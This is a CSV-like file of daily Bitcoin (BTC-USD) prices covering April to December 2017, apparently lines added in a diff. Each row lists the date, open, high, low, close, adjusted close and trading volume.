+2017-04-06,1129.8699951171875,1201.550048828125,1130.510009765625,1188.699951171875,1188.699951171875,108182158,BTC-USD +2017-04-07,1188.699951171875,1201.22998046875,1173.1800537109375,1190.489990234375,1190.489990234375,71184485,BTC-USD +2017-04-08,1190.489990234375,1198.219970703125,1166.6500244140625,1180.780029296875,1180.780029296875,39393003,BTC-USD +2017-04-09,1180.780029296875,1215.0999755859375,1173.989990234375,1204.3399658203125,1204.3399658203125,54498333,BTC-USD +2017-04-10,1204.3399658203125,1214.8699951171875,1194.81005859375,1206.7099609375,1206.7099609375,48473680,BTC-USD +2017-04-11,1206.7099609375,1229.5699462890625,1195.760009765625,1220.739990234375,1220.739990234375,45563707,BTC-USD +2017-04-12,1220.739990234375,1225.4599609375,1207.3599853515625,1212.530029296875,1212.530029296875,54699396,BTC-USD +2017-04-13,1212.530029296875,1218.6600341796875,1150.2900390625,1176.199951171875,1176.199951171875,78456422,BTC-USD +2017-04-14,1176.199951171875,1195.4000244140625,1162.1600341796875,1177.3299560546875,1177.3299560546875,56129576,BTC-USD +2017-04-15,1177.3299560546875,1194.8499755859375,841.530029296875,1176.989990234375,1176.989990234375,33877537,BTC-USD +2017-04-16,1176.989990234375,1187.969970703125,1166.739990234375,1176.800048828125,1176.800048828125,22538918,BTC-USD +2017-04-17,1176.800048828125,1202.969970703125,1172.81005859375,1194.010009765625,1194.010009765625,56095607,BTC-USD +2017-04-18,1194.010009765625,1213.8800048828125,1191.1400146484375,1206.0899658203125,1206.0899658203125,64900219,BTC-USD +2017-04-19,1206.0899658203125,1218.2099609375,1194.0799560546875,1215.199951171875,1215.199951171875,53034357,BTC-USD +2017-04-20,1215.199951171875,1246.6400146484375,1210.6700439453125,1238.0899658203125,1238.0899658203125,69223360,BTC-USD +2017-04-21,1238.0899658203125,1256.969970703125,1235.56005859375,1249.6400146484375,1249.6400146484375,52498296,BTC-USD +2017-04-22,1249.6400146484375,1256.969970703125,1215.780029296875,1240.8900146484375,1240.8900146484375,55776932,BTC-USD +2017-04-23,1240.8900146484375,1256.22998046875,1223.06005859375,1249.1400146484375,1249.1400146484375,54224355,BTC-USD +2017-04-24,1249.1400146484375,1256.3599853515625,1234.8599853515625,1248.1800537109375,1248.1800537109375,49281629,BTC-USD +2017-04-25,1248.1800537109375,1272.6199951171875,1244.2099609375,1264.31005859375,1264.31005859375,56659016,BTC-USD +2017-04-26,1264.31005859375,1309.199951171875,1263.0,1286.6300048828125,1286.6300048828125,77649710,BTC-USD +2017-04-27,1286.6300048828125,1346.7900390625,1285.300048828125,1332.9100341796875,1332.9100341796875,83319636,BTC-USD +2017-04-28,1332.9100341796875,1356.1500244140625,1287.6199951171875,1329.6199951171875,1329.6199951171875,104536476,BTC-USD +2017-04-29,1329.6199951171875,1343.68994140625,1314.1500244140625,1336.280029296875,1336.280029296875,55982468,BTC-USD +2017-04-30,1336.280029296875,1358.93994140625,1309.6600341796875,1351.9100341796875,1351.9100341796875,55470285,BTC-USD +2017-05-01,1351.9100341796875,1448.6800537109375,1342.780029296875,1415.81005859375,1415.81005859375,144414038,BTC-USD +2017-05-02,1415.81005859375,1471.1400146484375,1394.8299560546875,1445.9300537109375,1445.9300537109375,103342244,BTC-USD +2017-05-03,1445.9300537109375,1496.3900146484375,1424.050048828125,1485.550048828125,1485.550048828125,122551707,BTC-USD +2017-05-04,1485.550048828125,1609.8399658203125,1437.1099853515625,1516.760009765625,1516.760009765625,213084949,BTC-USD +2017-05-05,1516.760009765625,1588.1099853515625,1485.010009765625,1507.77001953125,1507.77001953125,188015771,BTC-USD +2017-05-06,1507.77001953125,1560.4200439453125,1503.9300537109375,1545.2900390625,1545.2900390625,92747185,BTC-USD +2017-05-07,1545.2900390625,1572.8900146484375,1495.1800537109375,1554.449951171875,1554.449951171875,111708072,BTC-USD +2017-05-08,1554.449951171875,1667.6700439453125,1552.8599853515625,1664.469970703125,1664.469970703125,174687869,BTC-USD +2017-05-09,1664.469970703125,1757.3900146484375,1619.969970703125,1697.5,1697.5,219169486,BTC-USD +2017-05-10,1697.5,1766.1800537109375,1664.989990234375,1752.31005859375,1752.31005859375,156203600,BTC-USD +2017-05-11,1752.31005859375,1864.760009765625,1741.5400390625,1819.2900390625,1819.2900390625,198829123,BTC-USD +2017-05-12,1819.2900390625,1822.510009765625,1641.1800537109375,1686.3900146484375,1686.3900146484375,192159873,BTC-USD +2017-05-13,1686.3900146484375,1770.5,1594.5899658203125,1763.739990234375,1763.739990234375,128390095,BTC-USD +2017-05-14,1763.739990234375,1802.75,1736.1300048828125,1772.550048828125,1772.550048828125,72874378,BTC-USD +2017-05-15,1772.550048828125,1776.6500244140625,1656.81005859375,1708.9200439453125,1708.9200439453125,138499150,BTC-USD +2017-05-16,1708.9200439453125,1752.550048828125,1653.719970703125,1729.3399658203125,1729.3399658203125,130379207,BTC-USD +2017-05-17,1729.3399658203125,1842.8299560546875,1703.969970703125,1801.300048828125,1801.300048828125,170954154,BTC-USD +2017-05-18,1801.300048828125,1980.489990234375,1791.1199951171875,1880.989990234375,1880.989990234375,135901905,BTC-USD +2017-05-19,1880.989990234375,1969.699951171875,1875.280029296875,1962.0,1962.0,191523926,BTC-USD +2017-05-20,1962.0,2048.449951171875,1944.4000244140625,2040.1800537109375,2040.1800537109375,179346919,BTC-USD +2017-05-21,2040.1800537109375,2094.93994140625,1980.0699462890625,2044.18994140625,2044.18994140625,161036810,BTC-USD +2017-05-22,2044.18994140625,2264.760009765625,1998.6099853515625,2124.409912109375,2124.409912109375,373482496,BTC-USD +2017-05-23,2124.409912109375,2286.300048828125,2110.780029296875,2272.580078125,2272.580078125,251969081,BTC-USD +2017-05-24,2272.580078125,2496.97998046875,2263.2900390625,2445.280029296875,2445.280029296875,353734030,BTC-USD +2017-05-25,2445.280029296875,2781.760009765625,2210.47998046875,2307.219970703125,2307.219970703125,622139030,BTC-USD +2017-05-26,2306.9599609375,2616.52001953125,2051.449951171875,2244.889892578125,2244.889892578125,441342711,BTC-USD +2017-05-27,2244.889892578125,2322.3701171875,1868.56005859375,2052.429931640625,2052.429931640625,446034004,BTC-USD +2017-05-28,2052.429931640625,2300.52001953125,2051.070068359375,2189.02001953125,2189.02001953125,266766116,BTC-USD +2017-05-29,2189.02001953125,2337.35009765625,2117.340087890625,2278.2099609375,2278.2099609375,204101576,BTC-USD +2017-05-30,2278.2099609375,2329.260009765625,2147.10009765625,2192.550048828125,2192.550048828125,270069146,BTC-USD +2017-05-31,2192.550048828125,2330.6201171875,2168.3701171875,2303.340087890625,2303.340087890625,261223035,BTC-USD +2017-06-01,2303.340087890625,2460.840087890625,2303.340087890625,2412.64990234375,2412.64990234375,290070431,BTC-USD +2017-06-02,2412.64990234375,2493.969970703125,2385.590087890625,2492.60009765625,2492.60009765625,199765372,BTC-USD +2017-06-03,2492.60009765625,2582.77001953125,2449.949951171875,2545.429931640625,2545.429931640625,177168595,BTC-USD +2017-06-04,2545.429931640625,2559.7900390625,2478.179931640625,2524.06005859375,2524.06005859375,149060810,BTC-USD +2017-06-05,2524.06005859375,2705.3798828125,2523.919921875,2704.9599609375,2704.9599609375,225611887,BTC-USD +2017-06-06,2704.9599609375,2931.239990234375,2699.679931640625,2870.5,2870.5,538772473,BTC-USD +2017-06-07,2870.5,2880.949951171875,2626.56005859375,2691.510009765625,2691.510009765625,340329903,BTC-USD +2017-06-08,2691.510009765625,2808.409912109375,2623.610107421875,2798.780029296875,2798.780029296875,260898606,BTC-USD +2017-06-09,2798.780029296875,2852.070068359375,2786.070068359375,2811.429931640625,2811.429931640625,189237110,BTC-USD +2017-06-10,2811.429931640625,2914.18994140625,2807.360107421875,2900.25,2900.25,246869682,BTC-USD +2017-06-11,2900.25,2977.860107421875,2867.25,2973.449951171875,2973.449951171875,241516660,BTC-USD +2017-06-12,2973.449951171875,2985.06005859375,2483.6298828125,2656.77001953125,2656.77001953125,585158909,BTC-USD +2017-06-13,2656.77001953125,2784.77001953125,2647.43994140625,2712.989990234375,2712.989990234375,314476276,BTC-USD +2017-06-14,2712.989990234375,2803.719970703125,2348.989990234375,2467.27001953125,2467.27001953125,448294279,BTC-USD +2017-06-15,2467.27001953125,2521.60009765625,2125.56005859375,2442.4599609375,2442.4599609375,606264366,BTC-USD +2017-06-16,2442.4599609375,2536.419921875,2335.280029296875,2508.580078125,2508.580078125,286630757,BTC-USD +2017-06-17,2508.580078125,2690.7099609375,2454.81005859375,2655.10009765625,2655.10009765625,246698591,BTC-USD +2017-06-18,2655.10009765625,2676.0400390625,2488.590087890625,2539.56005859375,2539.56005859375,235239296,BTC-USD +2017-06-19,2539.56005859375,2617.75,2518.780029296875,2616.820068359375,2616.820068359375,210372750,BTC-USD +2017-06-20,2616.820068359375,2800.47998046875,2613.97998046875,2754.3798828125,2754.3798828125,300034010,BTC-USD +2017-06-21,2754.3798828125,2804.409912109375,2624.35009765625,2677.6201171875,2677.6201171875,313234721,BTC-USD +2017-06-22,2677.6201171875,2757.320068359375,2623.169921875,2722.840087890625,2722.840087890625,210318780,BTC-USD +2017-06-23,2722.840087890625,2759.659912109375,2699.47998046875,2710.3701171875,2710.3701171875,155303414,BTC-USD +2017-06-24,2710.3701171875,2741.56005859375,2540.35009765625,2590.050048828125,2590.050048828125,228007287,BTC-USD +2017-06-25,2590.050048828125,2660.659912109375,2472.3701171875,2541.6201171875,2541.6201171875,220679135,BTC-USD +2017-06-26,2541.6201171875,2584.75,2327.260009765625,2446.050048828125,2446.050048828125,401912134,BTC-USD +2017-06-27,2446.050048828125,2585.06005859375,2309.6298828125,2583.75,2583.75,381517099,BTC-USD +2017-06-28,2583.75,2616.949951171875,2490.110107421875,2577.739990234375,2577.739990234375,279792448,BTC-USD +2017-06-29,2577.739990234375,2605.860107421875,2526.510009765625,2558.3701171875,2558.3701171875,191733499,BTC-USD +2017-06-30,2558.3701171875,2576.280029296875,2469.5400390625,2480.610107421875,2480.610107421875,183878856,BTC-USD +2017-07-01,2480.610107421875,2529.6201171875,2387.469970703125,2424.610107421875,2424.610107421875,160661673,BTC-USD +2017-07-02,2424.610107421875,2555.340087890625,2375.860107421875,2536.4599609375,2536.4599609375,165839565,BTC-USD +2017-07-03,2536.4599609375,2617.47998046875,2506.300048828125,2572.469970703125,2572.469970703125,212244951,BTC-USD +2017-07-04,2572.469970703125,2658.72998046875,2569.989990234375,2617.320068359375,2617.320068359375,210433639,BTC-USD +2017-07-05,2617.320068359375,2642.739990234375,2562.0400390625,2627.860107421875,2627.860107421875,232257106,BTC-USD +2017-07-06,2627.860107421875,2634.840087890625,2581.800048828125,2614.239990234375,2614.239990234375,156558009,BTC-USD +2017-07-07,2614.239990234375,2617.47998046875,2484.72998046875,2513.8798828125,2513.8798828125,229168229,BTC-USD +2017-07-08,2513.8798828125,2568.72998046875,2480.6201171875,2564.860107421875,2564.860107421875,136973389,BTC-USD +2017-07-09,2564.860107421875,2576.72998046875,2509.64990234375,2511.429931640625,2511.429931640625,99506518,BTC-USD +2017-07-10,2511.429931640625,2530.340087890625,2271.7900390625,2344.02001953125,2344.02001953125,297270301,BTC-USD +2017-07-11,2344.02001953125,2412.75,2265.47998046875,2324.2900390625,2324.2900390625,341998621,BTC-USD +2017-07-12,2324.2900390625,2424.820068359375,2262.080078125,2403.090087890625,2403.090087890625,257095280,BTC-USD +2017-07-13,2403.090087890625,2436.659912109375,2334.9599609375,2362.43994140625,2362.43994140625,208630220,BTC-USD +2017-07-14,2362.43994140625,2370.530029296875,2165.360107421875,2234.169921875,2234.169921875,257704533,BTC-USD +2017-07-15,2234.169921875,2237.1298828125,1974.030029296875,1975.0799560546875,1975.0799560546875,320719096,BTC-USD +2017-07-16,1975.0799560546875,2044.4100341796875,1808.989990234375,1914.0899658203125,1914.0899658203125,364287861,BTC-USD +2017-07-17,1914.0899658203125,2233.830078125,1913.7900390625,2233.389892578125,2233.389892578125,368366495,BTC-USD +2017-07-18,2233.389892578125,2400.739990234375,2164.590087890625,2320.22998046875,2320.22998046875,465220151,BTC-USD +2017-07-19,2320.22998046875,2412.3798828125,2243.1298828125,2282.580078125,2282.580078125,357639189,BTC-USD +2017-07-20,2282.580078125,2932.81005859375,2282.110107421875,2866.02001953125,2866.02001953125,807416890,BTC-USD +2017-07-21,2866.02001953125,2873.9599609375,2622.5400390625,2675.080078125,2675.080078125,529154789,BTC-USD +2017-07-22,2675.080078125,2876.7099609375,2658.590087890625,2836.530029296875,2836.530029296875,341992860,BTC-USD +2017-07-23,2836.530029296875,2856.669921875,2675.64990234375,2756.610107421875,2756.610107421875,299869260,BTC-USD +2017-07-24,2756.610107421875,2798.889892578125,2715.68994140625,2763.419921875,2763.419921875,229047365,BTC-USD +2017-07-25,2763.419921875,2779.080078125,2472.6201171875,2582.580078125,2582.580078125,534765380,BTC-USD +2017-07-26,2582.580078125,2631.72998046875,2441.5400390625,2559.2099609375,2559.2099609375,340465234,BTC-USD +2017-07-27,2559.2099609375,2712.919921875,2547.739990234375,2691.8798828125,2691.8798828125,269880857,BTC-USD +2017-07-28,2691.8798828125,2843.780029296875,2683.590087890625,2806.75,2806.75,383479795,BTC-USD +2017-07-29,2806.75,2812.1298828125,2699.419921875,2733.5,2733.5,230818894,BTC-USD +2017-07-30,2733.5,2773.06005859375,2621.679931640625,2766.489990234375,2766.489990234375,222933516,BTC-USD +2017-07-31,2766.489990234375,2916.300048828125,2723.050048828125,2883.27001953125,2883.27001953125,254836601,BTC-USD +2017-08-01,2883.27001953125,2946.02001953125,2659.6201171875,2746.989990234375,2746.989990234375,341216428,BTC-USD +2017-08-02,2746.989990234375,2773.800048828125,2668.8701171875,2720.530029296875,2720.530029296875,222534344,BTC-USD +2017-08-03,2720.530029296875,2822.8798828125,2717.6201171875,2809.989990234375,2809.989990234375,188517085,BTC-USD +2017-08-04,2809.989990234375,2892.669921875,2779.510009765625,2878.489990234375,2878.489990234375,195800289,BTC-USD +2017-08-05,2878.489990234375,3344.010009765625,2875.909912109375,3262.800048828125,3262.800048828125,503737620,BTC-USD +2017-08-06,3262.800048828125,3295.070068359375,3166.52001953125,3232.030029296875,3232.030029296875,196484496,BTC-USD +2017-08-07,3232.030029296875,3425.1298828125,3198.510009765625,3401.909912109375,3401.909912109375,294021645,BTC-USD +2017-08-08,3401.909912109375,3494.8701171875,3357.14990234375,3429.3798828125,3429.3798828125,366169429,BTC-USD +2017-08-09,3429.3798828125,3437.14990234375,3251.030029296875,3348.7900390625,3348.7900390625,324058681,BTC-USD +2017-08-10,3348.7900390625,3453.840087890625,3322.919921875,3425.669921875,3425.669921875,242024460,BTC-USD +2017-08-11,3425.669921875,3706.47998046875,3409.7900390625,3654.3701171875,3654.3701171875,345135492,BTC-USD +2017-08-12,3654.3701171875,3967.260009765625,3611.360107421875,3871.6201171875,3871.6201171875,469532325,BTC-USD +2017-08-13,3871.6201171875,4189.419921875,3847.31005859375,4062.60009765625,4062.60009765625,638917500,BTC-USD +2017-08-14,4062.60009765625,4336.7099609375,3978.949951171875,4327.93994140625,4327.93994140625,540927757,BTC-USD +2017-08-15,4327.93994140625,4436.47998046875,3837.1298828125,4161.66015625,4161.66015625,872840682,BTC-USD +2017-08-16,4161.66015625,4398.06005859375,3938.6201171875,4387.39990234375,4387.39990234375,472960334,BTC-USD +2017-08-17,4387.39990234375,4487.5,4194.10009765625,4278.919921875,4278.919921875,554232802,BTC-USD +2017-08-18,4278.919921875,4362.72998046875,3978.280029296875,4105.3701171875,4105.3701171875,603898315,BTC-USD +2017-08-19,4105.3701171875,4189.68017578125,3957.4599609375,4150.4501953125,4150.4501953125,462723151,BTC-USD +2017-08-20,4150.4501953125,4182.2900390625,4034.39990234375,4066.60009765625,4066.60009765625,288193446,BTC-USD +2017-08-21,4066.60009765625,4097.25,3966.929931640625,4005.10009765625,4005.10009765625,365174045,BTC-USD +2017-08-22,4005.10009765625,4142.68017578125,3612.2099609375,4089.699951171875,4089.699951171875,659657838,BTC-USD +2017-08-23,4089.699951171875,4255.6201171875,4070.489990234375,4141.08984375,4141.08984375,402340258,BTC-USD +2017-08-24,4141.08984375,4364.10986328125,4111.7099609375,4318.35009765625,4318.35009765625,305373477,BTC-USD +2017-08-25,4318.35009765625,4461.7099609375,4292.6298828125,4364.41015625,4364.41015625,362283252,BTC-USD +2017-08-26,4364.41015625,4379.27978515625,4263.27978515625,4352.2998046875,4352.2998046875,199403922,BTC-USD +2017-08-27,4352.2998046875,4408.18017578125,4321.1201171875,4345.75,4345.75,185180843,BTC-USD +2017-08-28,4345.75,4403.1298828125,4195.22998046875,4390.31005859375,4390.31005859375,325285703,BTC-USD +2017-08-29,4390.31005859375,4647.830078125,4350.22021484375,4597.31005859375,4597.31005859375,455467850,BTC-USD +2017-08-30,4597.31005859375,4644.06005859375,4491.7900390625,4583.02001953125,4583.02001953125,313466398,BTC-USD +2017-08-31,4583.02001953125,4765.06982421875,4580.1298828125,4735.10986328125,4735.10986328125,338981145,BTC-USD +2017-09-01,4735.10986328125,4925.22998046875,4690.169921875,4921.85009765625,4921.85009765625,491140364,BTC-USD +2017-09-02,4921.85009765625,4976.52001953125,4448.64013671875,4573.7998046875,4573.7998046875,747713818,BTC-USD +2017-09-03,4573.7998046875,4719.77978515625,4397.740234375,4612.919921875,4612.919921875,470135795,BTC-USD +2017-09-04,4612.919921875,4621.009765625,4098.580078125,4267.4501953125,4267.4501953125,737216060,BTC-USD +2017-09-05,4267.4501953125,4496.669921875,4004.6201171875,4409.080078125,4409.080078125,673846827,BTC-USD +2017-09-06,4409.080078125,4660.0400390625,4401.52978515625,4618.7099609375,4618.7099609375,504717245,BTC-USD +2017-09-07,4618.7099609375,4690.5498046875,4493.2001953125,4635.60009765625,4635.60009765625,324939872,BTC-USD +2017-09-08,4635.60009765625,4699.58984375,4130.8798828125,4326.4501953125,4326.4501953125,786819863,BTC-USD +2017-09-09,4326.4501953125,4402.14990234375,4185.330078125,4335.1298828125,4335.1298828125,332195251,BTC-USD +2017-09-10,4335.1298828125,4338.080078125,4032.14990234375,4245.89013671875,4245.89013671875,451244396,BTC-USD +2017-09-11,4245.89013671875,4364.419921875,4134.6201171875,4217.89990234375,4217.89990234375,375254125,BTC-USD +2017-09-12,4217.89990234375,4387.759765625,4074.969970703125,4158.919921875,4158.919921875,453402207,BTC-USD +2017-09-13,4158.919921875,4174.580078125,3752.010009765625,3870.2900390625,3870.2900390625,728385231,BTC-USD +2017-09-14,3870.2900390625,3930.68994140625,3218.97998046875,3243.080078125,3243.080078125,1118258889,BTC-USD +2017-09-15,3243.080078125,3824.429931640625,2979.8798828125,3713.760009765625,3713.760009765625,1519153953,BTC-USD +2017-09-16,3713.760009765625,3893.669921875,3551.830078125,3698.919921875,3698.919921875,627559216,BTC-USD +2017-09-17,3698.919921875,3796.56005859375,3485.830078125,3689.610107421875,3689.610107421875,351250484,BTC-USD +2017-09-18,3689.610107421875,4122.75,3689.0,4100.27978515625,4100.27978515625,586938661,BTC-USD +2017-09-19,4100.27978515625,4120.7099609375,3852.219970703125,3907.9599609375,3907.9599609375,488897829,BTC-USD +2017-09-20,3907.9599609375,4053.0400390625,3846.760009765625,3882.159912109375,3882.159912109375,342438072,BTC-USD +2017-09-21,3882.159912109375,3912.7900390625,3576.5400390625,3617.27001953125,3617.27001953125,543570164,BTC-USD +2017-09-22,3617.27001953125,3753.510009765625,3505.81005859375,3600.830078125,3600.830078125,414612501,BTC-USD +2017-09-23,3600.830078125,3813.389892578125,3563.179931640625,3788.02001953125,3788.02001953125,253370774,BTC-USD +2017-09-24,3788.02001953125,3790.889892578125,3633.8798828125,3667.52001953125,3667.52001953125,183852135,BTC-USD +2017-09-25,3667.52001953125,3971.5,3665.669921875,3932.830078125,3932.830078125,386674961,BTC-USD +2017-09-26,3932.830078125,3982.31005859375,3858.75,3892.699951171875,3892.699951171875,248481868,BTC-USD +2017-09-27,3892.699951171875,4232.35009765625,3882.080078125,4212.2001953125,4212.2001953125,480358673,BTC-USD +2017-09-28,4212.2001953125,4274.64013671875,4112.8798828125,4195.64990234375,4195.64990234375,386909537,BTC-USD +2017-09-29,4195.64990234375,4237.509765625,4030.3701171875,4172.7900390625,4172.7900390625,404599756,BTC-USD +2017-09-30,4172.7900390625,4383.27001953125,4164.25,4360.6201171875,4360.6201171875,290796939,BTC-USD +2017-10-01,4360.6201171875,4412.6201171875,4258.31982421875,4403.08984375,4403.08984375,262485153,BTC-USD +2017-10-02,4403.08984375,4477.3798828125,4364.669921875,4401.31982421875,4401.31982421875,314621927,BTC-USD +2017-10-03,4401.31982421875,4435.990234375,4230.72998046875,4314.18017578125,4314.18017578125,353046057,BTC-USD +2017-10-04,4314.18017578125,4355.2900390625,4183.56982421875,4218.66015625,4218.66015625,272424730,BTC-USD +2017-10-05,4218.66015625,4365.759765625,4143.35009765625,4321.43994140625,4321.43994140625,271914958,BTC-USD +2017-10-06,4321.43994140625,4422.14990234375,4296.93017578125,4371.93994140625,4371.93994140625,269878225,BTC-USD +2017-10-07,4371.93994140625,4472.919921875,4319.47998046875,4435.81005859375,4435.81005859375,176332039,BTC-USD +2017-10-08,4435.81005859375,4622.8701171875,4419.35986328125,4611.7001953125,4611.7001953125,323063950,BTC-USD +2017-10-09,4611.7001953125,4875.3798828125,4556.14990234375,4777.490234375,4777.490234375,518586828,BTC-USD +2017-10-10,4777.490234375,4930.0,4722.81005859375,4763.35986328125,4763.35986328125,475717720,BTC-USD +2017-10-11,4763.35986328125,4874.89013671875,4718.60009765625,4824.2001953125,4824.2001953125,338533507,BTC-USD +2017-10-12,4824.2001953125,5432.6298828125,4814.97998046875,5432.6201171875,5432.6201171875,848641969,BTC-USD +2017-10-13,5432.6201171875,5852.77978515625,5391.97021484375,5637.259765625,5637.259765625,1211469140,BTC-USD +2017-10-14,5637.259765625,5839.6201171875,5568.85986328125,5824.7099609375,5824.7099609375,434406119,BTC-USD +2017-10-15,5824.7099609375,5862.68994140625,5448.22021484375,5688.14013671875,5688.14013671875,571166215,BTC-USD +2017-10-16,5677.35009765625,5795.330078125,5576.10009765625,5759.330078125,5759.330078125,349154669,BTC-USD +2017-10-17,5759.25,5773.31982421875,5521.08984375,5598.580078125,5598.580078125,368658284,BTC-USD +2017-10-18,5598.580078125,5601.2998046875,5114.8701171875,5575.830078125,5575.830078125,654722509,BTC-USD +2017-10-19,5576.7099609375,5737.41015625,5517.6201171875,5698.64990234375,5698.64990234375,469774559,BTC-USD +2017-10-20,5698.6201171875,6075.31982421875,5611.39013671875,5993.10986328125,5993.10986328125,729487923,BTC-USD +2017-10-21,5993.10986328125,6187.2001953125,5874.5400390625,6006.64990234375,6006.64990234375,684989667,BTC-USD +2017-10-22,6006.64990234375,6070.56005859375,5722.97998046875,5982.85986328125,5982.85986328125,618893096,BTC-USD +2017-10-23,5982.85986328125,6048.97998046875,5644.22021484375,5903.60986328125,5903.60986328125,801148315,BTC-USD +2017-10-24,5903.60986328125,5904.6298828125,5463.41015625,5513.080078125,5513.080078125,811951129,BTC-USD +2017-10-25,5513.080078125,5747.9599609375,5375.64013671875,5734.0,5734.0,585738379,BTC-USD +2017-10-26,5734.0,5970.39990234375,5689.919921875,5887.60986328125,5887.60986328125,547664553,BTC-USD +2017-10-27,5887.6201171875,5997.830078125,5692.31982421875,5764.56005859375,5764.56005859375,488283724,BTC-USD +2017-10-28,5764.56005859375,5871.0400390625,5654.7998046875,5726.60986328125,5726.60986328125,305611140,BTC-USD +2017-10-29,5726.60986328125,6295.43017578125,5679.3701171875,6147.52001953125,6147.52001953125,966990808,BTC-USD +2017-10-30,6147.7001953125,6226.18017578125,6018.97021484375,6124.27978515625,6124.27978515625,481600502,BTC-USD +2017-10-31,6124.27978515625,6467.2001953125,6090.830078125,6451.240234375,6451.240234375,637838767,BTC-USD +2017-11-01,6449.10009765625,6738.740234375,6355.0,6737.77978515625,6737.77978515625,869798619,BTC-USD +2017-11-02,6737.77978515625,7339.91015625,6737.77001953125,7024.81005859375,7024.81005859375,1663170039,BTC-USD +2017-11-03,7024.81005859375,7445.6201171875,6938.93017578125,7152.1201171875,7152.1201171875,1120978013,BTC-USD +2017-11-04,7146.97998046875,7492.240234375,6957.83984375,7363.7998046875,7363.7998046875,773371754,BTC-USD +2017-11-05,7363.7998046875,7599.43994140625,7284.330078125,7389.5498046875,7389.5498046875,789287755,BTC-USD +2017-11-06,7389.5498046875,7429.7001953125,6934.72998046875,6959.22998046875,6959.22998046875,1148125488,BTC-USD +2017-11-07,6959.27001953125,7222.3701171875,6957.7998046875,7102.75,7102.75,716798409,BTC-USD +2017-11-08,7102.22998046875,7869.10009765625,7026.97021484375,7444.35986328125,7444.35986328125,1632547465,BTC-USD +2017-11-09,7444.35986328125,7457.1201171875,7040.830078125,7129.58984375,7129.58984375,915963933,BTC-USD +2017-11-10,7129.58984375,7318.97021484375,6406.0498046875,6565.7998046875,6565.7998046875,1513421266,BTC-USD +2017-11-11,6565.7998046875,6821.5,6197.8701171875,6339.85986328125,6339.85986328125,878096915,BTC-USD +2017-11-12,6339.8701171875,6490.52978515625,5493.64013671875,5878.1298828125,5878.1298828125,1629165385,BTC-USD +2017-11-13,5878.08984375,6760.14990234375,5828.33984375,6522.4501953125,6522.4501953125,1135256036,BTC-USD +2017-11-14,6522.4501953125,6728.58984375,6419.18017578125,6597.06005859375,6597.06005859375,634604991,BTC-USD +2017-11-15,6597.06005859375,7330.06005859375,6596.93994140625,7283.22021484375,7283.22021484375,922959468,BTC-USD +2017-11-16,7283.02001953125,7964.64013671875,7119.169921875,7853.68017578125,7853.68017578125,1010130763,BTC-USD +2017-11-17,7853.68017578125,8000.18994140625,7534.7001953125,7699.9501953125,7699.9501953125,917599923,BTC-USD +2017-11-18,7699.9501953125,7857.52001953125,7458.89990234375,7780.91015625,7780.91015625,571121111,BTC-USD +2017-11-19,7781.02001953125,8100.8701171875,7675.41015625,8042.64013671875,8042.64013671875,541391321,BTC-USD +2017-11-20,8042.64013671875,8294.1201171875,7947.27978515625,8244.6904296875,8244.6904296875,617354329,BTC-USD +2017-11-21,8245.8701171875,8368.3603515625,7819.06005859375,8099.97021484375,8099.97021484375,938345413,BTC-USD +2017-11-22,8099.919921875,8304.3701171875,8091.6298828125,8234.5498046875,8234.5498046875,539697375,BTC-USD +2017-11-23,8234.5,8266.5498046875,8012.35009765625,8013.41015625,8013.41015625,555465146,BTC-USD +2017-11-24,8013.3798828125,8332.9404296875,7900.169921875,8200.7998046875,8200.7998046875,595710405,BTC-USD +2017-11-25,8203.4501953125,8761.98046875,8153.7001953125,8754.6904296875,8754.6904296875,718483679,BTC-USD +2017-11-26,8754.6201171875,9474.6201171875,8746.5595703125,9318.419921875,9318.419921875,782499976,BTC-USD +2017-11-27,9318.419921875,9733.6103515625,9316.83984375,9733.2001953125,9733.2001953125,1025175619,BTC-USD +2017-11-28,9732.6298828125,9969.580078125,9638.2001953125,9906.0400390625,9906.0400390625,865328615,BTC-USD +2017-11-29,9906.0400390625,11417.83984375,8938.7001953125,9837.8603515625,9837.8603515625,2418792360,BTC-USD +2017-11-30,9848.0498046875,10689.0595703125,9023.76953125,9946.759765625,9946.759765625,1836210107,BTC-USD +2017-12-01,9947.080078125,10942.7998046875,9420.9296875,10861.4697265625,10861.4697265625,1353669597,BTC-USD +2017-12-02,10861.4697265625,11175.23046875,10715.5498046875,10912.73046875,10912.73046875,950474241,BTC-USD +2017-12-03,10912.7197265625,11851.08984375,10578.4296875,11246.2099609375,11246.2099609375,1380012064,BTC-USD +2017-12-04,11244.2001953125,11624.6298828125,10917.8095703125,11623.91015625,11623.91015625,1057859226,BTC-USD +2017-12-05,11624.3701171875,11901.8701171875,11486.1298828125,11667.1298828125,11667.1298828125,1048839303,BTC-USD +2017-12-06,11667.1298828125,13843.2001953125,11661.759765625,13749.5703125,13749.5703125,2437037791,BTC-USD +2017-12-07,13750.08984375,16879.259765625,13401.6103515625,16850.310546875,16850.310546875,4510225316,BTC-USD +2017-12-08,16867.98046875,17294.849609375,13906.099609375,16047.6103515625,16047.6103515625,4546014731,BTC-USD +2017-12-09,16048.1796875,16313.1796875,13151.4697265625,14843.419921875,14843.419921875,2699876215,BTC-USD +2017-12-10,14839.98046875,15783.2001953125,13031.0,15059.599609375,15059.599609375,2904037859,BTC-USD +2017-12-11,15060.4501953125,17399.1796875,15024.5595703125,16732.470703125,16732.470703125,2634267594,BTC-USD +2017-12-12,16733.2890625,17560.650390625,16254.5302734375,17083.900390625,17083.900390625,2246138895,BTC-USD +2017-12-13,17083.900390625,17267.9609375,15669.8603515625,16286.8203125,16286.8203125,2576055941,BTC-USD +2017-12-14,16286.8203125,16941.080078125,16023.6396484375,16467.91015625,16467.91015625,1773813863,BTC-USD +2017-12-15,16467.91015625,17987.029296875,16442.19921875,17604.849609375,17604.849609375,2682351213,BTC-USD +2017-12-16,17594.080078125,19587.69921875,17318.5390625,19345.490234375,19345.490234375,2078806368,BTC-USD +2017-12-17,19346.599609375,19870.619140625,18750.91015625,19065.7109375,19065.7109375,2264650369,BTC-USD +2017-12-18,19065.7109375,19221.099609375,18114.419921875,18972.3203125,18972.3203125,2597510049,BTC-USD +2017-12-19,18971.189453125,19021.970703125,16812.80078125,17523.69921875,17523.69921875,3136709262,BTC-USD +2017-12-20,17521.73046875,17813.599609375,15642.6904296875,16461.970703125,16461.970703125,3791752510,BTC-USD +2017-12-21,16461.08984375,17301.830078125,14952.98046875,15632.1201171875,15632.1201171875,2619295475,BTC-USD +2017-12-22,15632.1201171875,15823.7197265625,10875.7099609375,13664.9697265625,13664.9697265625,6245731508,BTC-USD +2017-12-23,13664.9697265625,15493.23046875,13356.0703125,14396.4599609375,14396.4599609375,2491903154,BTC-USD 